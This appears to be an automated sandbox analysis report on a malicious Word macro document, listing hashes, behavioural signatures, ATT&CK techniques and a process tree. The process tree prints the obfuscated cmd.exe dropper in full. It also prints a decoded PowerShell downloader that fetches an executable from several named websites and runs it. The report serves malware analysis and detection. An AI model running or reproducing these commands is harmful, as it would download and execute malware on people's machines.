d0a30f503c8a18a5d119b95b9544c294cb023d7287419b4fcc64a41e30ea21ba

Analysis

max time kernel
100s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2024, 09:35

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General

Target
914c0f87aef05aa403558d1825c3ef02_JaffaCakes118.doc
Size 137KB
Sample240603-lkavcabe46
SHA256 d0a30f503c8a18a5d119b95b9544c294cb023d7287419b4fcc64a41e30ea21ba
MD5 914c0f87aef05aa403558d1825c3ef02
SHA1 5a6bbe6a47b8329c8f88ee7ebbe2e68f41808e93
SHA512 5279068c51162942faec3d78d9a61b97215fa90f5ae366c5991e6c7e278831430fc068d59a29d6e2b79b91c173aef189ce211140216b5996d8cc5bba9ba7216e
SSDEEP 3072:S8GhDS0o9zTGOZD6EbzCdQq3/I7ChQ1aL1C:8oUOZDlbeQqPIehQ1aL1C
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	968	1860	cmd.exe	81

Blocklisted process makes network request 4 IoCs

flow	pid	Process
25	4640	powershell.exe
83	4640	powershell.exe
87	4640	powershell.exe
95	4640	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
968	cmd.exe
3312	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1860	WINWORD.EXE
1860	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4640	powershell.exe
4640	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE
1860	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1860 wrote to memory of 968	1860	WINWORD.EXE	86
PID 1860 wrote to memory of 968	1860	WINWORD.EXE	86
PID 968 wrote to memory of 3312	968	cmd.exe	88
PID 968 wrote to memory of 3312	968	cmd.exe	88
PID 3312 wrote to memory of 3100	3312	cmd.exe	93
PID 3312 wrote to memory of 3100	3312	cmd.exe	93
PID 3312 wrote to memory of 4624	3312	cmd.exe	94
PID 3312 wrote to memory of 4624	3312	cmd.exe	94
PID 4624 wrote to memory of 2520	4624	cmd.exe	95
PID 4624 wrote to memory of 2520	4624	cmd.exe	95
PID 2520 wrote to memory of 556	2520	cmd.exe	96
PID 2520 wrote to memory of 556	2520	cmd.exe	96
PID 2520 wrote to memory of 1996	2520	cmd.exe	97
PID 2520 wrote to memory of 1996	2520	cmd.exe	97
PID 4624 wrote to memory of 4640	4624	cmd.exe	98
PID 4624 wrote to memory of 4640	4624	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\914c0f87aef05aa403558d1825c3ef02_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set NP=wrjtPpKmHtfYCRSfWFGJRYfCti7-z$}sA)c@(,BI{vT/2;x yl\khn0VX9Du6a'8dbe:N1=Lqo.+g&&for %v in (29,7,18,14,70,62,71,68,18,62,45,29,22,51,34,70,53,66,0,27,73,65,2,66,34,24,47,68,66,24,74,16,66,65,23,49,25,66,53,24,45,29,56,19,71,70,62,52,24,24,5,67,43,43,7,61,1,72,59,25,31,66,64,25,61,7,73,53,64,66,53,76,61,76,66,7,66,53,24,1,25,53,76,74,34,73,7,43,20,22,76,35,52,24,24,5,67,43,43,73,7,25,64,69,31,52,73,5,74,34,73,7,43,44,25,48,2,28,73,35,52,24,24,5,67,43,43,53,52,61,51,52,73,61,59,34,34,52,61,59,74,34,73,7,74,41,53,43,1,25,23,39,21,49,4,63,35,52,24,24,5,67,43,43,53,48,34,22,5,22,74,34,73,7,43,44,49,54,35,52,24,24,5,67,43,43,7,25,74,65,7,76,59,27,64,66,41,74,34,73,7,43,60,61,25,62,74,14,5,49,25,24,36,62,35,62,33,45,29,2,34,25,70,62,56,0,73,62,45,29,4,56,71,47,70,47,62,60,57,26,62,45,29,24,28,61,70,62,52,68,21,62,45,29,28,56,32,70,29,66,53,41,67,24,66,7,5,75,62,50,62,75,29,4,56,71,75,62,74,66,46,66,62,45,22,73,1,66,61,34,52,36,29,18,68,65,47,25,53,47,29,56,19,71,33,40,24,1,48,40,29,22,51,34,74,58,73,0,53,49,73,61,64,17,25,49,66,36,29,18,68,65,37,47,29,28,56,32,33,45,29,25,71,55,70,62,16,38,0,62,45,39,22,47,36,36,18,66,24,27,39,24,66,7,47,29,28,56,32,33,74,49,66,53,76,24,52,47,27,76,66,47,63,54,54,54,54,33,47,40,39,53,41,73,51,66,27,39,24,66,7,47,29,28,56,32,45,29,42,56,21,70,62,25,7,6,62,45,65,1,66,61,51,45,30,30,34,61,24,34,52,40,30,30,29,17,5,25,70,62,19,5,32,62,45,80)do set P9M=!P9M!!NP:~%v,1!&&if %v geq 80 echo !P9M:~5!|FOR /F "delims=D.j tokens=2" %w IN ('ftype^^^|find "llDa"')DO %w -"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\system32\cmd.exe
    CmD /V:/C"set NP=wrjtPpKmHtfYCRSfWFGJRYfCti7-z$}sA)c@(,BI{vT/2;x yl\khn0VX9Du6a'8dbe:N1=Lqo.+g&&for %v in (29,7,18,14,70,62,71,68,18,62,45,29,22,51,34,70,53,66,0,27,73,65,2,66,34,24,47,68,66,24,74,16,66,65,23,49,25,66,53,24,45,29,56,19,71,70,62,52,24,24,5,67,43,43,7,61,1,72,59,25,31,66,64,25,61,7,73,53,64,66,53,76,61,76,66,7,66,53,24,1,25,53,76,74,34,73,7,43,20,22,76,35,52,24,24,5,67,43,43,73,7,25,64,69,31,52,73,5,74,34,73,7,43,44,25,48,2,28,73,35,52,24,24,5,67,43,43,53,52,61,51,52,73,61,59,34,34,52,61,59,74,34,73,7,74,41,53,43,1,25,23,39,21,49,4,63,35,52,24,24,5,67,43,43,53,48,34,22,5,22,74,34,73,7,43,44,49,54,35,52,24,24,5,67,43,43,7,25,74,65,7,76,59,27,64,66,41,74,34,73,7,43,60,61,25,62,74,14,5,49,25,24,36,62,35,62,33,45,29,2,34,25,70,62,56,0,73,62,45,29,4,56,71,47,70,47,62,60,57,26,62,45,29,24,28,61,70,62,52,68,21,62,45,29,28,56,32,70,29,66,53,41,67,24,66,7,5,75,62,50,62,75,29,4,56,71,75,62,74,66,46,66,62,45,22,73,1,66,61,34,52,36,29,18,68,65,47,25,53,47,29,56,19,71,33,40,24,1,48,40,29,22,51,34,74,58,73,0,53,49,73,61,64,17,25,49,66,36,29,18,68,65,37,47,29,28,56,32,33,45,29,25,71,55,70,62,16,38,0,62,45,39,22,47,36,36,18,66,24,27,39,24,66,7,47,29,28,56,32,33,74,49,66,53,76,24,52,47,27,76,66,47,63,54,54,54,54,33,47,40,39,53,41,73,51,66,27,39,24,66,7,47,29,28,56,32,45,29,42,56,21,70,62,25,7,6,62,45,65,1,66,61,51,45,30,30,34,61,24,34,52,40,30,30,29,17,5,25,70,62,19,5,32,62,45,80)do set P9M=!P9M!!NP:~%v,1!&&if %v geq 80 echo !P9M:~5!|FOR /F "delims=D.j tokens=2" %w IN ('ftype^^^|find "llDa"')DO %w -"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:3312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $mGS='LNG';$fkc=new-object Net.WebClient;$XJL='http://marquisediamondengagementring.com/Rfg@http://omid1shop.com/2iyjzo@http://nhakhoaucchau.com.vn/riCIYlP8@http://nycfpf.com/2l0@http://mi.bmgu-dev.com/6ai'.Split('@');$jci='Xwo';$PXL = '697';$tza='hNY';$zXA=$env:temp+'\'+$PXL+'.exe';foreach($GNb in $XJL){try{$fkc.DownloadFile($GNb, $zXA);$iLV='WBw';If ((Get-Item $zXA).length -ge 80000) {Invoke-Item $zXA;$TXY='imK';break;}}catch{}}$Fpi='JpA';"
      4⤵
      PID:3100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=D.j tokens=2" %w IN ('ftype^|find "llDa"') DO %w -"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4624
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ftype|find "llDa"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2520
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ftype"
        6⤵
        
        PID:556
      - C:\Windows\system32\find.exe
        
        find "llDa"
        6⤵
        
        PID:1996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell -
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

sist02.xsl

Path C:\Users\Admin\AppData\Local\Temp\TCD777D.tmp\sist02.xsl
Size 245KB
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
SSDEEP 6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_2m2p4cwl.uwx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2m2p4cwl.uwx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1860-10-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-18-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-4-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-5-0x00007FFD1D10D000-0x00007FFD1D10E000-memory.dmp

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memory/1860-6-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-7-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-8-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-9-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-0-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-32-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-14-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-13-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-11-0x00007FFCDB090000-0x00007FFCDB0A0000-memory.dmp

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memory/1860-15-0x00007FFCDB090000-0x00007FFCDB0A0000-memory.dmp

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memory/1860-16-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-17-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-21-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-20-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-3-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-19-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-12-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-40-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-41-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-42-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-1-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-573-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-569-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-570-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-2-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-414-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-535-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-543-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-544-0x00007FFD1D070000-0x00007FFD1D265000-memory.dmp

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memory/1860-572-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/1860-571-0x00007FFCDD0F0000-0x00007FFCDD100000-memory.dmp

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memory/4640-57-0x0000013B60E10000-0x0000013B60E86000-memory.dmp

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memory/4640-56-0x0000013B609E0000-0x0000013B60A24000-memory.dmp

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memory/4640-55-0x0000013B60850000-0x0000013B60872000-memory.dmp

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